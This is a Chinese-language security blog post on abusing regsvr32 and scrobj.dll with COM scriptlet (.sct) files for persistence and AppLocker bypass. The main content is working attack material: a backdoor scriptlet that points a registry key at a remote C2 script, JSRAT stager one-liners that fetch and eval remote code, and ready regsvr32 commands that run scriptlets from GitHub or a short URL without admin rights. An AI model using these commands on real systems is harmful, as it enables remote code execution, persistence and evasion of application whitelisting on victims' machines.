最近Casey [email protected],利用sct文件來實現的持久機制。 我對此也很感興趣,于是對相關的內容作了研究學習,在學習過程中Casey Smith又教會了我很多,學會了一個繞過應用程序白名單的技巧,所以在此將學到的知識整理一下。
鏈接如下:
https://github.com/subTee/SCTPersistence
Regsvr32命令用于注冊動態鏈接庫文件,是 Windows 系統提供的用來向系統注冊控件或者卸載控件的命令,以命令行方式運行。 語法:
regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname
其中dllname為activex控件文件名
參數:
/u
卸載已安裝的控件或DLL文件
/s
靜默,不顯示任何消息框
/n
指定不調用 DllRegisterServer,此選項必須與 /i 共同使用
/i:cmdline
調用 DllInstall 將它傳遞到可選的 [cmdline],在與 /u 共同使用時,它調用 dll 卸載
dllname
指定要注冊的 dll 文件名
以Win32動態鏈接庫(DLL)或可執行文件(EXE)形式發布的可執行二進制代碼,能夠滿足對組件架構的所有需求,可通過Regsvr32命令注冊。
特點:
組件與開發工具語言無關
通過接口有效保證了組件的復用性
組件運行效率高、便于使用和管理
在可擴展標記語言(XML)文件中通過腳本語言(VBScript或者JScript)可以創建一個COM對象,后綴名為sct
用來幫助將COM請求發送到腳本組件
內容如下:
<?XML version="1.0"?>
<scriptlet>
<registration
description="Component"
progid="Component.InsideCOM"
version="1.00"
classid="{10001111-0000-0000-0000-000000000001}"
>
</registration>
<public>
<method name="Sum">
<PARAMETER name="X"/>
<PARAMETER name="Y"/>
</method>
</public>
<script language="VBScript">
<![CDATA[
function Sum(X, Y)
Sum = X + Y
end function
]]>
</script>
</scriptlet>
管理員權限執行:
regsvr32 /i:"Component.sct" scrobj.dll
如圖,注冊后在注冊表HKEY_CLASSES_ROOT\CLSID\
下同步創建鍵值{10001111-0000-0000-0000-000000000001}
注冊表鍵值細節如下:
[HKCR\CLSID\{10001111-0000-0000-0000-000000000001}]
@="Component"
[HKCR\CLSID\{10001111-0000-0000-0000-000000000001}\VersionIndependentProgID]
@="Component.InsideCOM"
[HKCR\CLSID\{10001111-0000-0000-0000-000000000001}\ProgID]
@="Component.InsideCOM.1.00"
[HKCR\CLSID\{10001111-0000-0000-0000-000000000001}\ScriptletURL]
@="file://C:\\WINDOWS\\Desktop\\Component.sct"
[HKCR\CLSID\{10001111-0000-0000-0000-000000000001}\InprocServer32]
@="C:\\WINDOWS\\SYSTEM\\SCROBJ.DLL"
"ThreadingModel"="Apartment"
TestVB.vbs:
Dim ref
Set ref = CreateObject("Component.InsideCOM")
MsgBox ref.Sum(4, 6)
執行后如圖,成功調用COM組件
以上通過VBS可調用剛剛注冊的COM組件"Component.InsideCOM",也可用JScript實現
(1)JScript實現
ComponentJS.sct: (https://github.com/subTee/SCTPersistence/blob/master/ComponentJS.sct)
<?XML version="1.0"?>
<scriptlet>
<registration
description="Component"
progid="Component.InsideCOMJS"
version="1.00"
classid="{10001111-0000-0000-0000-000000000002}"
>
</registration>
<public>
<method name="Sum">
<PARAMETER name="X"/>
<PARAMETER name="Y"/>
</method>
</public>
<script language="JScript">
<![CDATA[
function Sum(X, Y) {
var result = X + Y;
return result;
}
]]>
</script>
</scriptlet>
TestJS.js: (https://github.com/subTee/SCTPersistence/blob/master/TestJS.js)
var ref = new ActiveXObject("Component.InsideCOMJS");
var x = ref.Sum(4,6);
WScript.Echo(x);
(2)可修改注冊表鍵值以此更改COM組件內容
COM組件的文件路徑如下:
[HKCR\CLSID\{10001111-0000-0000-0000-000000000001}\ScriptletURL]
@="file://C:\\WINDOWS\\Desktop\\Component.sct"
如果修改為另一腳本的路徑,那么再次調用組件會運行另一個腳本的內容
(3)文件名可簡化
后綴名不一定必須用".sct",其他格式也可以
如
regsvr32 /i:"Component.txt" scrobj.dll
(4)/s參數
加入/s參數可隱藏彈出的注冊成功的對話框
(5)sct文件可放在遠程服務器上 如
regsvr32 /s /i:http://192.168.1.1/Component.txt scrobj.dll
注:
在代理環境下也能正常訪問,也支持https訪問
(1)Backdoor.sct:
(https://github.com/subTee/SCTPersistence/blob/master/JSBackdoor/Backdoor.sct)
關鍵代碼:
function C2Config() {
//The default is to use the path to a local file... Here, I just rewrite the regkey, and now, the Class definition comes form the interwebs. Woo!
var WshShell = new ActiveXObject("WScript.Shell");
var strRegPath = "HKEY_CLASSES_ROOT\\CLSID\\{10001111-0000-0000-0000-00000000ACDC}\\ScriptletURL\\";
WshShell.RegWrite(strRegPath, "http://127.0.0.1:8080/c2.js", "REG_SZ");
}
/*
function Cleanup() { }
//Clean your room!
*/
function Main() {
C2Config();
//Cleanup();
}
當運行Backdoor.sct注冊COM組件時,Backdoor.sct會將組件注冊表的鍵值ScriptletURL設為遠程服務器上的地址:http://127.0.0.1:8080/c2.js
這樣的好處是Backdoor.sct文件不需要保存在系統上面,同時只要修改服務器上的c2.js的內容就可以執行不同的命令
(2)c2.js
(https://github.com/subTee/SCTPersistence/blob/master/JSBackdoor/c2.js) 此文件包含要執行的js命令
(3)BackdoorTest.js
(https://github.com/subTee/SCTPersistence/blob/master/JSBackdoor/BackdoorTest.js) 用于調用已注冊的COM組件,內容如下:
//調用Backdoor.sct中的C2Config(),將c2.js的路徑寫入注冊表
var x = new ActiveXObject("Component.Backdoor");
x.Main();
//調用c2.js中的代碼執行功能
var x = new ActiveXObject("Component.Backdoor");
x.Exec();
注:
調用方式不唯一,還可通過以下方式
a.rundll32.exe
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();x=new%20ActiveXObject("Component.Backdoor");x.Exec();
b.powershell
$s=New-Object -COM "Component.Backdoor";$s.Exec()
(1)Backdoor.sct
(https://github.com/3gstudent/SCTPersistence/blob/master/JSBackdoor/Backdoor.sct) 直接在sct文件中寫入JSRAT的啟動代碼
細節如下:
function Exec()
{
rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");w=new%20ActiveXObject(\"WScript.Shell\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}catch(e){}h.Open(\"GET\",\"http://127.0.0.1/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";
new ActiveXObject("WScript.Shell").Run(rat,0,true);
}
(2)BackdoorTest.js
(https://github.com/3gstudent/SCTPersistence/blob/master/JSBackdoor/BackdoorTest.js) 通過js腳本調用即可
當然也可以通過rundll32.exe調用,代碼如下:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();x=new%20ActiveXObject("JSRAT");x.Exec();
(3)注冊組件的方式
將Backdoor.sct放在遠程服務器上,通過regsvr32注冊
regsvr32 /s /i:http://192.168.1.1/Backdoor.sct scrobj.dll
(4)調用COM組件"JSRAT"
即可啟動JSRAT
標準的xml文件的內容如下:
<?XML version="1.0"?>
<scriptlet>
<registration
description="Empire"
progid="Empire"
version="1.00"
classid="{20001111-0000-0000-0000-0000FEEDACDC}"
>
</registration>
<public>
<method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
function Exec()
{
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
}
]]>
</script>
</scriptlet>
在成功注冊COM組件后,通過調用exec()才能夠執行里面的功能
那么,如果把Exec()的功能直接加到<registration>
的標簽中呢? 會不會在注冊的過程中就可以調用exec()?
以下是Casey的實現方式:
<?XML version="1.0"?>
<scriptlet>
<registration
description="Empire"
progid="Empire"
version="1.00"
classid="{20001111-0000-0000-0000-0000FEEDACDC}"
>
<!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->
<!-- regsvr32 /s /i:http://server/Backdoor.sct scrobj.dll -->
<!-- That should work over a proxy and SSL/TLS... -->
<!-- Proof Of Concept - Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
<public>
<method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
function Exec()
{
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
}
]]>
</script>
</scriptlet>
根據之前介紹的內容,現在來嘗試注冊這個COM組件:
regsvr32 /i https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct
如圖雖然能夠成功彈出計算器,但是會彈框提示報錯
但是有趣的是我們可以通過/s參數來忽略這個錯誤:
regsvr32 /s https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct
這樣就能夠成功執行彈出計算器
而更有趣的是這個COM組件仍可以被正常調用:
js文件如下:
var ref = new ActiveXObject("Empire");
var c=ref.Exec();
運行后會彈出cmd
總結以上的內容,只需執行如下代碼即可執行遠程服務器上的js腳本
regsvr32 /s https://gist.githubusercontent.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302/raw/bf04e98329ef471dcbbe621df5d61ddb4e802b63/Backdoor.sct
或者
regsvr32 /s https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct
如果轉換思路,就會發現這種方式可以繞過應用程序白名單的過濾
介紹到這里,你也許會認為,通過注冊COM組件來繞過應用程序白名單的過濾得需要管理員權限,這會是一個雞肋。
但是,Casey發現了更高級的方法:
不需要管理權限,同時也不需要寫入注冊表
也許回頭看這個技巧很簡單,但是
能想到大家想不到的,這就不簡單
既然可以通過注冊控件來繞過白名單過濾,那么通過卸載應該也可以,而且卸載控件的操作不需要管理員權限,也不需要寫入注冊表 所以參數如下即可:
regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll
如圖,普通用戶權限,開啟Windows AppLocker,成功執行js代碼,彈出計算器,前面介紹的JSRAT的應用方法也可以用這種方式執行
補充另一個sct的應用方法 前不久更新了JSRAT的內容,添加了自動識別代理進行通信的功能,因此JSRAT的啟動代碼變得更長:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
這樣不僅對實際使用帶來不便,同時也影響了在快捷方式下的應用:
快捷方式支持的最大字符長度為260,而JSRAT的啟動代碼遠超260,詳細問題描述可見:
https://github.com/3gstudent/Javascript-Backdoor/issues/3
而通過sct來啟動JSRAT恰恰可以解決這個問題,已將利用代碼上傳至github:
https://github.com/3gstudent/SCTPersistence/blob/master/ShortJSRAT.sct
通過regsvr32執行服務器上的ShortJSRAT.sct文件
ShortJSRAT.sct文件包含JSRAT的啟動代碼
最終優化的JSRAT啟動代碼如下:
regsvr32 /s /n /u /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/ShortJSRAT.sct scrobj.dll
如果覺得網址過長,可使用短地址來代替上述文件URL,短地址如下:
regsvr32 /s /n /u /i:https://goo.gl/ijB12k scrobj.dll
注:
該短地址是通過google url shortener生成,因此國內用戶無法直接訪問,換用其他平臺的短地址服務就好。
綜上,這個技巧的實現需要如下限制條件:
能在系統上可以執行代碼
所以應用的前提是已經獲得了系統的訪問權限,因此只要保護好自身系統的安全就不會被這種類似的方式攻擊。至于Windows AppLocker,無法防御sct的應用。
引用Casey博客的一句話:
(http://subt0x10.blogspot.com/2016/04/setting-up-homestead-in-enterprise-with.html) Well, now that everyone has eyes on PowerShell...Lets see what we can do with JavaScript!
再次感謝Casey [email protected],十分感謝。有待研究的細節還有很多,如果你對此感興趣,可以一起交流。
更多學習資料:
Casey [email protected],值得學習: (http://subt0x10.blogspot.jp/2016/04/bypass-application-whitelisting-script.html)